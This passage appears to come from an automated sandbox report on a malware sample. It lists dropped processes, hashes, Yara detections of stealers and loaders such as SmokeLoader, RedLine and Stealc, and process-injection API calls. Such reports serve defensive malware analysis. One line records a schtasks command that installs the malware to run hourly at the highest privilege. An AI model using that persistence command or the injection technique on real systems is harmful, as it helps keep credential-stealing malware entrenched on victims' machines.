Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.2601636491.0000000002600000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.2601636491.0000000002600000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.2601921421.000000000283E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000009.00000002.2601604235.00000000025F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.2601573090.0000000002561000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.2601573090.0000000002561000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe
Imagebase:	0x1b0000
File size:	3'141'632 bytes
MD5 hash:	1FEDF314D7C5ED06FF6833C9C8FE5441
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe
Imagebase:	0xa90000
File size:	361'336 bytes
MD5 hash:	D687AF3B103399AA245807BB719878B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2116924327.0000000003F55000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe
Imagebase:	0x400000
File size:	3'037'032 bytes
MD5 hash:	098E15E88E5332253356C78BADF8D479
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.2392167583.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.2391461087.00000000005CA000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe
Imagebase:	0xa0000
File size:	331'640 bytes
MD5 hash:	E8E6CD9EC48FAFCCC174F7BF07D045E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000D.00000002.2359247420.0000000003345000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe
Imagebase:	0x610000
File size:	423'328 bytes
MD5 hash:	A463E516041F4BC84F03BC8FE2B643DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
Imagebase:	0xe20000
File size:	4'249'600 bytes
MD5 hash:	ABDBCC23BD8F767E671BAC6D2FF60335
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe
Imagebase:	0x400000
File size:	3'129'722 bytes
MD5 hash:	1905889C50091A12A2B3A94E525A3566
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe
Imagebase:	0xf60000
File size:	222'112 bytes
MD5 hash:	EA754070163F8ECA914B259096D834F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe
Imagebase:	0x7ff750520000
File size:	22'487'040 bytes
MD5 hash:	CB3952F1852179348F8D2DB91760D03B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Yara matches:	Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: 00000012.00000000.1791538975.00007FF75157B000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: 00000012.00000002.2923275259.00007FF75157B000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe
Imagebase:	0x140000000
File size:	11'496'960 bytes
MD5 hash:	D60D266E8FBDBD7794653ECF2ABA26ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:34:01
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:34:02
Start date:	21/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	07:34:03
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 6948 -ip 6948
Imagebase:	0x6b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:34:03
Start date:	21/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	07:34:03
Start date:	21/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2207772758.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:34:05
Start date:	21/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd30000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	07:34:05
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6948 -s 876
Imagebase:	0x6b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:34:05
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"
Imagebase:	0x3e0000
File size:	4'249'600 bytes
MD5 hash:	ABDBCC23BD8F767E671BAC6D2FF60335
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:34:05
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2796 -ip 2796
Imagebase:	0x7ff6fab70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:34:05
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"
Imagebase:	0x310000
File size:	4'249'600 bytes
MD5 hash:	ABDBCC23BD8F767E671BAC6D2FF60335
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:34:05
Start date:	21/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf60000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000021.00000002.1899246450.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:34:05
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1708 -ip 1708
Imagebase:	0x6b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	07:34:05
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"
Imagebase:	0xf20000
File size:	4'249'600 bytes
MD5 hash:	ABDBCC23BD8F767E671BAC6D2FF60335
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	07:34:06
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:34:06
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 548
Imagebase:	0x6b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:34:06
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 944
Imagebase:	0x6b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	07:34:07
Start date:	21/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x5b0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:34:07
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	07:34:08
Start date:	21/09/2024
Path:	C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp" /SL5="$30436,2863668,56832,C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe"
Imagebase:	0x400000
File size:	708'096 bytes
MD5 hash:	33358B48CFE67C292BF76ABDDDB63947
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	07:34:09
Start date:	21/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	07:34:09
Start date:	21/09/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff633410000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000002B.00000002.2943867641.0000000002A61000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000002B.00000002.2943867641.0000000002A61000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	07:34:11
Start date:	21/09/2024
Path:	C:\ProgramData\jewkkwnf\jewkkwnf.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\jewkkwnf\jewkkwnf.exe
Imagebase:	0x750000
File size:	4'249'600 bytes
MD5 hash:	ABDBCC23BD8F767E671BAC6D2FF60335
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs Detection: 33%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	07:34:12
Start date:	21/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	22.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	18
Total number of Limit Nodes:	0

Executed Functions

Function 01406630 Relevance: 82.4, Strings: 65, Instructions: 1164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

U, xrefs: 014075F0
>, xrefs: 01407698
:, xrefs: 01407C9A
[, xrefs: 01407BAE
^, xrefs: 0140729B
P, xrefs: 01407CC2
-, xrefs: 014067D7
4, xrefs: 01407AD0
T, xrefs: 0140724F
4, xrefs: 0140710F
T, xrefs: 01407C36
T, xrefs: 01406821
T, xrefs: 014076F6
:, xrefs: 01406D29
>, xrefs: 01407C2A
[, xrefs: 014067D0
5, xrefs: 01407383
Z, xrefs: 01407329
^, xrefs: 01406D1F
&, xrefs: 01406B79
[, xrefs: 01406C61
>, xrefs: 01407BC6
U, xrefs: 01407149
P, xrefs: 01406899
4, xrefs: 014075B6
P, xrefs: 0140776E
^, xrefs: 0140686D
^, xrefs: 01407C8E
-, xrefs: 014071E7
Z, xrefs: 014068FB
Z, xrefs: 014077D0
T, xrefs: 01406CD3
&, xrefs: 0140759C
U, xrefs: 01406BCD
5, xrefs: 01406E07
&, xrefs: 014070F5
[, xrefs: 014071DD
P, xrefs: 014072C7
-, xrefs: 0140768E
>, xrefs: 014067DE
U, xrefs: 01407B0A
>, xrefs: 01406C75
-, xrefs: 01407BBA
>, xrefs: 014076EC
P, xrefs: 01406D4B
5, xrefs: 0140782A
[, xrefs: 01407684
4, xrefs: 01406735
^, xrefs: 01407742
&, xrefs: 01407AB6
5, xrefs: 01407DA0
:, xrefs: 0140774C
Z, xrefs: 01407D34
-, xrefs: 01406C6B
U, xrefs: 01406763
:, xrefs: 01406877
>, xrefs: 01406CC9
&, xrefs: 01406721
:, xrefs: 014072A5
>, xrefs: 01407245
>, xrefs: 014071F1
Z, xrefs: 01406DAD
>, xrefs: 0140681A
5, xrefs: 01406955
4, xrefs: 01406B93

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: &$&$&$&$&$-$-$-$-$-$4$4$4$4$4$5$5$5$5$5$:$:$:$:$:$>$>$>$>$>$>$>$>$>$>$P$P$P$P$P$T$T$T$T$T$U$U$U$U$U$Z$Z$Z$Z$Z$[$[$[$[$[$^$^$^$^$^
API String ID: 0-2631824096
Opcode ID: def444b73e171dab220ca96b38c6956fee71b00ceac59f34e226c2c6573948fe
Instruction ID: 16172eda6b94d805965dcf78dc54d03e426ef15653d8c885c4ee5ddd4bc84021
Opcode Fuzzy Hash: def444b73e171dab220ca96b38c6956fee71b00ceac59f34e226c2c6573948fe
Instruction Fuzzy Hash: C1D2CFB4D016298FEB64DF29DD447AABBB6FB49301F1081EAD40CA7350DB799E818F44

Function 014030C0 Relevance: 2.8, Instructions: 2835COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 682d8ce48a5010c3b0507c0250c09d567afc5bed16bba45ab8b8da4422f86094
Instruction ID: 57bd4b692072061c282dc986ef0f666ce72a50263cd20092fd234f0844daecaf
Opcode Fuzzy Hash: 682d8ce48a5010c3b0507c0250c09d567afc5bed16bba45ab8b8da4422f86094
Instruction Fuzzy Hash: 94531B74A00219CFDB25DF69C988A9DB7B2FF49310F1581AAD519AB3A1DB34ED81CF40

Function 01402240 Relevance: .8, Instructions: 830COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5ab0c358ffd978f6bcbd8115e08608adba4ebbd0df1019ad4173777533a4113
Instruction ID: 1baccf06e32e9ba2384a3ccf29be4d27bcd44dc9aed62882381d4043587c1ab9
Opcode Fuzzy Hash: d5ab0c358ffd978f6bcbd8115e08608adba4ebbd0df1019ad4173777533a4113
Instruction Fuzzy Hash: 37628234A00615DFDB16DF6AC488E6E7BB6BF88310B15856AE905AB3F1CB71EC41CB50

Function 01405EFA Relevance: .4, Instructions: 429
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 518529b16bb4beafeb4987ecb2fb54c2a1d0a309ccdca731cc33d2820af4bc12
Instruction ID: 4f19c5845dd7db49f0cf3a19fe47fa4a1b8ef98b7a0908c5f259405e89700ae0
Opcode Fuzzy Hash: 518529b16bb4beafeb4987ecb2fb54c2a1d0a309ccdca731cc33d2820af4bc12
Instruction Fuzzy Hash: 1DF1D531B00215CFDB16DF6AC554AAE7BB2AF85310F16807ED906AB3A1C735DC52CBA1

Function 01400839 Relevance: .4, Instructions: 407
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fe7ba8c416b1c0bb77a4370ec538ae856f94213e4dbc0d438aa854494ece3a4
Instruction ID: 0fc895742d82f0b8a1b3602dc60f4cb1095b5dadf3db99e8a68846dc46c6cb2a
Opcode Fuzzy Hash: 1fe7ba8c416b1c0bb77a4370ec538ae856f94213e4dbc0d438aa854494ece3a4
Instruction Fuzzy Hash: 6422CF74A00318CFEB24DF64D854BADBBB2FB88300F2085AAD50967364DB796D85DF91

Function 01400848 Relevance: .4, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa5dac99f5ef02a6b488408b0d550bdb753de84cc574eba0667ee76b8bfac196
Instruction ID: 98ad02513efe14567430e3fc2eb1ea9584fae732123d8066fefb0015c393e91e
Opcode Fuzzy Hash: fa5dac99f5ef02a6b488408b0d550bdb753de84cc574eba0667ee76b8bfac196
Instruction Fuzzy Hash: 6E12CF74A00218CFEB24DFA4D854BEDBBB2FB88300F2085A9D50967364DB796D85DF91

Function 02F70A18 Relevance: 1.8, APIs: 1, Instructions: 321
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 02F70CDF

Memory Dump Source

Source File: 00000000.00000002.1509779256.0000000002F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F50000, based on PE: true

Associated: 00000000.00000002.1509746400.0000000002F50000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f50000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 788b098d9dc47971ce2be48b1f41ba293602ba54671b238b71b881e2bceaa86b
Instruction ID: 59c2300e67d9e221d8529f4191b90773916f8af2e83f4d9c8256df288d65894c
Opcode Fuzzy Hash: 788b098d9dc47971ce2be48b1f41ba293602ba54671b238b71b881e2bceaa86b
Instruction Fuzzy Hash: 1BC10675D0026D8FDB20CFA8C841BEEBBB1BF49304F0095AAD559B7240DB749A85CF95

Function 02F70690 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02F70763

Memory Dump Source

Source File: 00000000.00000002.1509779256.0000000002F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F50000, based on PE: true

Associated: 00000000.00000002.1509746400.0000000002F50000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f50000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9a22571ef6e54b21e72aa67bde7c28309537edc1aefcf14aacdff995b9e5c945
Instruction ID: c60b57cda836607f504d37f6819e1cf161efef9541f58c849ca7f89ca05ab9ae
